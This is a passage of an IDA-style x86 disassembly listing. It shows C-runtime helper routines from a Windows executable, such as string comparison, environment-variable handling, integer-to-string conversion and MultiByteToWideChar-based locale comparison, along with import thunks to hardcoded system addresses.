		jmp	short loc_41FDC1
; ---------------------------------------------------------------------------


loc_41FDA6:				; CODE XREF: sub_41FBA6+42j
					; sub_41FBA6+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_41FDC1:				; CODE XREF: sub_41FBA6+ABj
					; sub_41FBA6+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FBA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FDC6	proc near		; CODE XREF: sub_41F31F+440p
					; sub_41F7F0+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43BF50
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_41FE3F
		jge	short loc_41FDEE
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43C0B0
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_41FDEE:				; CODE XREF: sub_41FDC6+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41FDF9
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_41FDF9:				; CODE XREF: sub_41FDC6+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_41FE3F
		push	esi
		push	edi


loc_41FE00:				; CODE XREF: sub_41FDC6+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_41FE38
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_41FE2B
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_41FE2B:				; CODE XREF: sub_41FDC6+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_41FBA6
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_41FE38:				; CODE XREF: sub_41FDC6+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_41FE00
		pop	edi
		pop	esi


loc_41FE3F:				; CODE XREF: sub_41FDC6+14j
					; sub_41FDC6+36j
		pop	ebx
		leave
		retn
sub_41FDC6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FE42	proc near		; CODE XREF: sub_41FA83+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421AA0
		push	offset sub_41D304
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_515B40, ebx
		push	1
		pop	edi
		jnz	short loc_41FEB5
		push	edi
		mov	eax, offset dword_4216A0
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		nop
		call	near ptr 7C80A35Eh
		test	eax, eax
		jz	short loc_41FE92
		mov	dword_515B40, edi
		jmp	short loc_41FEB5
; ---------------------------------------------------------------------------


loc_41FE92:				; CODE XREF: sub_41FE42+46j
		push	edi
		mov	eax, offset dword_441700
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		nop
		call	near ptr 7C80D077h
		test	eax, eax
		jz	loc_4200AB
		mov	dword_515B40, 2


loc_41FEB5:				; CODE XREF: sub_41FE42+31j
					; sub_41FE42+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_41FECC
		push	esi
		push	[ebp+arg_8]
		call	sub_4200BF
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi


loc_41FECC:				; CODE XREF: sub_41FE42+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_41FEE1
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_4200BF
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax


loc_41FEE1:				; CODE XREF: sub_41FE42+8Dj
		mov	eax, dword_515B40
		cmp	eax, 2
		jnz	short loc_41FF06
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 7C80D077h
		jmp	loc_4200AD
; ---------------------------------------------------------------------------


loc_41FF06:				; CODE XREF: sub_41FE42+A7j
		cmp	eax, edi
		jnz	loc_4200AB
		cmp	[ebp+arg_18], ebx
		jnz	short loc_41FF1B
		mov	eax, dword_5158FC
		mov	[ebp+arg_18], eax


loc_41FF1B:				; CODE XREF: sub_41FE42+CFj
		cmp	esi, ebx
		jz	short loc_41FF28
		cmp	[ebp+arg_14], ebx
		jnz	loc_41FFC0


loc_41FF28:				; CODE XREF: sub_41FE42+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_41FF35


loc_41FF2D:				; CODE XREF: sub_41FE42+13Cj
					; sub_41FE42+16Dj
		push	2


loc_41FF2F:				; CODE XREF: sub_41FE42+146j
		pop	eax
		jmp	loc_4200AD
; ---------------------------------------------------------------------------


loc_41FF35:				; CODE XREF: sub_41FE42+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_41FF41


loc_41FF3A:				; CODE XREF: sub_41FE42+151j
					; sub_41FE42+159j ...
		mov	eax, edi
		jmp	loc_4200AD
; ---------------------------------------------------------------------------


loc_41FF41:				; CODE XREF: sub_41FE42+F6j
		cmp	esi, edi
		jg	short loc_41FF86
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 7C812E76h
		test	eax, eax
		jz	loc_4200AB
		cmp	esi, ebx
		jle	short loc_41FF8A
		cmp	[ebp+var_3C], 2
		jb	short loc_41FF86
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_41FF86


loc_41FF6C:				; CODE XREF: sub_41FE42+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_41FF86
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_41FF80
		cmp	cl, dl
		jbe	short loc_41FF2D


loc_41FF80:				; CODE XREF: sub_41FE42+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41FF6C


loc_41FF86:				; CODE XREF: sub_41FE42+101j
					; sub_41FE42+120j ...
		push	3
		jmp	short loc_41FF2F
; ---------------------------------------------------------------------------


loc_41FF8A:				; CODE XREF: sub_41FE42+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_41FFC0
		cmp	[ebp+var_3C], 2
		jb	short loc_41FF3A
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_41FF3A


loc_41FF9D:				; CODE XREF: sub_41FE42+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_41FF3A
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_41FFB5
		cmp	cl, dl
		jbe	loc_41FF2D


loc_41FFB5:				; CODE XREF: sub_41FE42+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41FF9D
		jmp	loc_41FF3A
; ---------------------------------------------------------------------------


loc_41FFC0:				; CODE XREF: sub_41FE42+E0j
					; sub_41FE42+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		nop
		call	near ptr 7C809BF8h
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_4200AB
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_417B70
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42000F
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi


loc_42000F:				; CODE XREF: sub_41FE42+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_4200AB
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_421074
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_4200AB
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi	; MultiByteToWideChar
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_4200AB
		mov	[ebp+var_4], edi


loc_42004D:				; DATA XREF: ___:00425F80o
					; ___:00425F8Co
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_417B70
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42007A
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_42007A:				; CODE XREF: sub_41FE42+224j
		cmp	edi, ebx
		jz	short loc_4200AB
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 7C809BF8h
		test	eax, eax
		jz	short loc_4200AB
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 7C80A35Eh
		jmp	short loc_4200AD
; ---------------------------------------------------------------------------


loc_4200AB:				; CODE XREF: sub_41FE42+63j
					; sub_41FE42+C6j ...
		xor	eax, eax


loc_4200AD:				; CODE XREF: sub_41FE42+BFj
					; sub_41FE42+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FE42	endp


; =============== S U B	R O U T	I N E =======================================



sub_4200BF	proc near		; CODE XREF: sub_41BC2B+81p
					; sub_41FE42+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_4200DC


loc_4200CF:				; CODE XREF: sub_4200BF+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_4200DC
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_4200CF


loc_4200DC:				; CODE XREF: sub_4200BF+Ej
					; sub_4200BF+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_4200E7
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_4200E7:				; CODE XREF: sub_4200BF+21j
		mov	eax, edx
		retn
sub_4200BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4200EA	proc near		; CODE XREF: sub_41FAC2+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_42014E
		push	3Dh
		push	[ebp+arg_0]
		call	sub_420330
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_42014E
		cmp	[ebp+arg_0], esi
		jz	short loc_42014E
		mov	eax, dword_5158AC
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_5158B0
		jnz	short loc_420134
		push	eax
		call	sub_4202C9
		pop	ecx
		mov	dword_5158AC, eax


loc_420134:				; CODE XREF: sub_4200EA+3Cj
		cmp	eax, edi
		jnz	short loc_42018C
		cmp	[ebp+arg_4], edi
		jz	short loc_420156
		cmp	dword_5158B4, edi
		jz	short loc_420156
		call	sub_41FAC2
		test	eax, eax
		jz	short loc_42018C


loc_42014E:				; CODE XREF: sub_4200EA+Dj
					; sub_4200EA+22j ...
		or	eax, 0FFFFFFFFh


loc_420151:				; CODE XREF: sub_4200EA+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_420156:				; CODE XREF: sub_4200EA+51j
					; sub_4200EA+59j
		cmp	ebx, edi
		jnz	loc_42026A
		push	4
		call	sub_417BEE
		cmp	eax, edi
		pop	ecx
		mov	dword_5158AC, eax
		jz	short loc_42014E
		mov	[eax], edi
		cmp	dword_5158B4, edi
		jnz	short loc_42018C
		push	4
		call	sub_417BEE
		cmp	eax, edi
		pop	ecx
		mov	dword_5158B4, eax
		jz	short loc_42014E
		mov	[eax], edi


loc_42018C:				; CODE XREF: sub_4200EA+4Cj
					; sub_4200EA+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_5158AC
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_420271
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_4201EC
		cmp	dword ptr [edi], 0
		jz	short loc_4201EC
		test	ebx, ebx
		jz	short loc_4201E4
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_417C62
		pop	ecx


loc_4201BE:				; CODE XREF: sub_4200EA+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_4201CE
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_4201BE
; ---------------------------------------------------------------------------


loc_4201CE:				; CODE XREF: sub_4200EA+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_418C3F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_42021E
		jmp	short loc_420219
; ---------------------------------------------------------------------------


loc_4201E4:				; CODE XREF: sub_4200EA+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_42021E
; ---------------------------------------------------------------------------


loc_4201EC:				; CODE XREF: sub_4200EA+BDj
					; sub_4200EA+C2j
		test	ebx, ebx
		jnz	short loc_42026A
		test	esi, esi
		jge	short loc_4201F6
		neg	esi


loc_4201F6:				; CODE XREF: sub_4200EA+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_418C3F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_42014E
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_420219:				; CODE XREF: sub_4200EA+F8j
		mov	dword_5158AC, eax


loc_42021E:				; CODE XREF: sub_4200EA+F6j
					; sub_4200EA+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_42026A
		push	[ebp+arg_0]
		call	sub_417AF0
		inc	eax
		inc	eax
		push	eax
		call	sub_417BEE
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_42026A
		push	[ebp+arg_0]
		push	esi
		call	sub_417A00
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		nop
		call	near ptr 7C833478h
		push	esi
		call	sub_417C62
		pop	ecx


loc_42026A:				; CODE XREF: sub_4200EA+6Ej
					; sub_4200EA+104j ...
		xor	eax, eax
		jmp	loc_420151
sub_4200EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_420271	proc near		; CODE XREF: sub_4200EA+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_5158AC
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4202AC
		mov	edi, [esp+8+arg_4]


loc_420283:				; CODE XREF: sub_420271+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_41FA83
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4202A2
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_4202BC
		test	al, al
		jz	short loc_4202BC


loc_4202A2:				; CODE XREF: sub_420271+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_420283


loc_4202AC:				; CODE XREF: sub_420271+Cj
		mov	eax, esi
		sub	eax, dword_5158AC
		sar	eax, 2
		neg	eax


loc_4202B9:				; CODE XREF: sub_420271+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4202BC:				; CODE XREF: sub_420271+2Bj
					; sub_420271+2Fj
		mov	eax, esi
		sub	eax, dword_5158AC
		sar	eax, 2
		jmp	short loc_4202B9
sub_420271	endp


; =============== S U B	R O U T	I N E =======================================



sub_4202C9	proc near		; CODE XREF: sub_4200EA+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_4202D8
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4202D8:				; CODE XREF: sub_4202C9+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_4202EA


loc_4202E0:				; CODE XREF: sub_4202C9+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_4202E0


loc_4202EA:				; CODE XREF: sub_4202C9+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_417BEE
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_42030B
		push	9
		call	sub_4191E5
		pop	ecx


loc_42030B:				; CODE XREF: sub_4202C9+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_42030F:				; CODE XREF: sub_4202C9+5Bj
		test	eax, eax
		jz	short loc_420326
		push	eax
		add	ebx, 4
		call	sub_4203A3
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_42030F
; ---------------------------------------------------------------------------


loc_420326:				; CODE XREF: sub_4202C9+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_4202C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420330	proc near		; CODE XREF: sub_4200EA+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_516C9C, 0
		jnz	short loc_42034B
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_418630
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42034B:				; CODE XREF: sub_420330+Aj
		mov	ecx, [ebp+arg_0]


loc_42034E:				; CODE XREF: sub_420330+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_420391
		movzx	edx, al
		test	byte_516DA1[edx], 4
		jz	short loc_42037D
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_420388
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_42038C
		jmp	short loc_420385
; ---------------------------------------------------------------------------


loc_42037D:				; CODE XREF: sub_420330+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_420391


loc_420385:				; CODE XREF: sub_420330+4Bj
		inc	ecx
		jmp	short loc_42034E
; ---------------------------------------------------------------------------


loc_420388:				; CODE XREF: sub_420330+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42038C:				; CODE XREF: sub_420330+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_420391:				; CODE XREF: sub_420330+25j
					; sub_420330+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_420330	endp


; =============== S U B	R O U T	I N E =======================================



sub_4203A3	proc near		; CODE XREF: sub_40A74C+21p
					; sub_4202C9+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_4203CA
		push	esi
		call	sub_417AF0
		inc	eax
		push	eax
		call	sub_417BEE
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4203CA
		push	esi
		push	eax
		call	sub_417A00
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4203CA:				; CODE XREF: sub_4203A3+7j
					; sub_4203A3+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_4203A3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4203D0	proc near		; CODE XREF: sub_405350+159p
		nop
		jmp	near ptr 71AB4544h
sub_4203D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4203D6	proc near		; CODE XREF: ___:0040C171p
		nop
		jmp	near ptr 77C018BAh
sub_4203D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4203DC	proc near		; CODE XREF: ___:0040C15Ap
		nop
		jmp	near ptr 77C01A50h
sub_4203DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4203E2	proc near		; CODE XREF: sub_40C127+Fp
		nop
		jmp	near ptr 77C019FFh
sub_4203E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4203E8	proc near		; CODE XREF: sub_41D20C+13p
		nop
		jmp	near ptr 7C937A40h
sub_4203E8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4203F0	proc near		; CODE XREF: sub_404D78+18Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_5158E4
		cmp	dword ptr [eax+8], 0
		jnz	short loc_420443
		mov	al, 0FFh
		mov	edi, edi


loc_42040C:				; CODE XREF: sub_4203F0+28j
					; sub_4203F0+48j
		or	al, al
		jz	short loc_42043E
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_42040C
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_42040C
		sbb	al, al
		sbb	al, 0FFh


loc_42043E:				; CODE XREF: sub_4203F0+1Ej
		movsx	eax, al
		jmp	short loc_420477
; ---------------------------------------------------------------------------


loc_420443:				; CODE XREF: sub_4203F0+16j
		mov	eax, 0FFh
		xor	ebx, ebx
		mov	edi, edi


loc_42044C:				; CODE XREF: sub_4203F0+68j
					; sub_4203F0+80j
		or	al, al
		jz	short loc_420477
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_42044C
		push	eax
		push	ebx
		call	sub_4187E1
		mov	ebx, eax
		add	esp, 4
		call	sub_4187E1
		add	esp, 4
		cmp	bl, al
		jz	short loc_42044C
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_420477:				; CODE XREF: sub_4203F0+51j
					; sub_4203F0+5Ej
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_4203F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_42047C	proc near		; CODE XREF: sub_409307+E2p
					; sub_409307+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_5158EC, 0
		push	ebx
		jnz	short loc_4204C2
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]


loc_42048E:				; CODE XREF: sub_42047C+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_4204A0
		cmp	bx, 41h
		jb	short loc_4204A0
		add	ebx, 20h


loc_4204A0:				; CODE XREF: sub_42047C+19j
					; sub_42047C+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_4204B2
		cmp	ax, 41h
		jb	short loc_4204B2
		add	eax, 20h


loc_4204B2:				; CODE XREF: sub_42047C+2Bj
					; sub_42047C+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_4204F2
		cmp	bx, ax
		jz	short loc_42048E
		jmp	short loc_4204F2
; ---------------------------------------------------------------------------


loc_4204C2:				; CODE XREF: sub_42047C+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]


loc_4204CC:				; CODE XREF: sub_42047C+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_420585
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_420585
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_4204F0
		cmp	bx, ax
		jz	short loc_4204CC


loc_4204F0:				; CODE XREF: sub_42047C+6Dj
		pop	edi
		pop	esi


loc_4204F2:				; CODE XREF: sub_42047C+3Dj
					; sub_42047C+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_42047C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4204FC	proc near		; CODE XREF: ___:004161A4p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0Ah
		jnz	short loc_420511
		cmp	[ebp+arg_0], 0
		jge	short loc_420511
		push	1
		push	0Ah
		jmp	short loc_420516
; ---------------------------------------------------------------------------


loc_420511:				; CODE XREF: sub_4204FC+7j
					; sub_4204FC+Dj
		push	0
		push	[ebp+arg_8]


loc_420516:				; CODE XREF: sub_4204FC+13j
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_420529
		mov	eax, [ebp+arg_4]
		add	esp, 10h
		pop	ebp
		retn
sub_4204FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420529	proc near		; CODE XREF: sub_4204FC+20p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_C], 0
		mov	ecx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		jz	short loc_420543
		mov	esi, [ebp+arg_0]
		mov	byte ptr [ecx],	2Dh
		inc	ecx
		neg	esi
		jmp	short loc_420546
; ---------------------------------------------------------------------------


loc_420543:				; CODE XREF: sub_420529+Dj
		mov	esi, [ebp+arg_0]


loc_420546:				; CODE XREF: sub_420529+18j
		mov	edi, ecx


loc_420548:				; CODE XREF: sub_420529+43j
		mov	eax, esi
		xor	edx, edx
		div	[ebp+arg_8]
		mov	eax, esi
		mov	ebx, edx
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ebx, 9
		mov	esi, eax
		jbe	short loc_420564
		add	bl, 57h
		jmp	short loc_420567
; ---------------------------------------------------------------------------


loc_420564:				; CODE XREF: sub_420529+34j
		add	bl, 30h


loc_420567:				; CODE XREF: sub_420529+39j
		mov	[ecx], bl
		inc	ecx
		test	esi, esi
		ja	short loc_420548
		and	byte ptr [ecx],	0
		dec	ecx


loc_420572:				; CODE XREF: sub_420529+55j
		mov	dl, [edi]
		mov	al, [ecx]
		mov	[ecx], dl
		mov	[edi], al
		dec	ecx
		inc	edi
		cmp	edi, ecx
		jb	short loc_420572
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_420529	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420585	proc near		; CODE XREF: sub_42047C+56p
					; sub_42047C+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_420597
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------


loc_420597:				; CODE XREF: sub_420585+Bj
		cmp	dword_5158EC, 0
		jnz	short loc_4205B1
		cmp	ax, 41h
		jb	short locret_4205F8
		cmp	ax, 5Ah
		ja	short locret_4205F8
		add	eax, 20h
		leave
		retn
